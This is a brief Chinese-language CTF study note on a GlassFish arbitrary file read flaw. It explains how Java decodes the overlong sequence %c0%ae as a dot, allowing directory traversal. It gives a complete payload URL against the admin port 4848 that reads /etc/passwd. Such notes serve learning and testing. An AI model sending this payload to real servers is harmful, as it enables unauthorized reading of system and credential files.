「配枪朱丽叶。」

RootのCTF学习笔记。

GlassFish 任意文件读取漏洞

什么是GlassFish

glassfish是一款java编写的跨平台的开源的应用服务器。

漏洞原理?

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

Payload

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

https://s2.ax1x.com/2019/12/16/Q5dUxg.md.png